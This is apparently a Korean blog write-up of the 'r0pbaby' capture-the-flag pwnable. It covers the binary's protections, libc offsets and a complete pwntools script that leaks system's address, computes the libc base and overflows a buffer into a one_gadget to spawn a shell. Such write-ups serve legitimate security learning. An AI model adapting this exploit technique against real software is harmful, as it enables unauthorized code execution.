728x90
checksec
NX, PIE 걸려있음
(PIE: 프로그램 실행할 때마다 전역변수와 사용자 정의 함수의 주소가 매번 달라진다)
→ offset으로 접근
64 bit
Pseudo Code
굉장히 긴 main함수의 pseudo code....
savedregs에서 [rbp+0]로 SFP임을 알 수 있다
debugging
pwndbg로 실행시켰을 때
RDI, RSI, RDX,RCX, R8, R9 순으로 파라미터 전달.
offset 구하기
system - libc offset = 0x453a0
binsh - libc offset = 0x18ce17
onegadget
gadget- libc offset = 0x45226
payload 작성
2번 메뉴를 통해 system 주소를 얻고, libc.symbols['symbols']로 구한 주소값의 offset으로 libc_base를 얻고 one_gadget(pop_rdi + binsh)을 system의 인자로 전달하는 방식으로 payload를 작성했다.
# coding: utf-8
from pwn import *
from struct import *
#context.log_level = 'debug'
elf = ELF('./r0pbaby')
libc = elf.libc
p = process('./r0pbaby')
one_gadget = 0x45226
sys_offset = 0x453a0
p.sendline("2")
p.sendlineafter("symbol: ", "system")
p.recvuntil("system: ")
sys_add = int(p.recvuntil("\n"), 16)
libc_base = sys_add - libc.symbols['system']
pl = "A"*8
pl += p64(one_gadget + libc_base)
#pl += "A"*8
#pl += p64(libc_base + sys_offset)
p.sendline("3")
p.sendlineafter(":", str(len(pl)+1))
p.sendline(pl)
p.sendline("4")
p.interactive()
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] pwning (0) | 2020.07.18 |
---|---|
BaskinRobins31 (0) | 2020.07.12 |
babyROP (0) | 2020.06.21 |
simpleROP (0) | 2020.06.14 |
shot (0) | 2020.06.01 |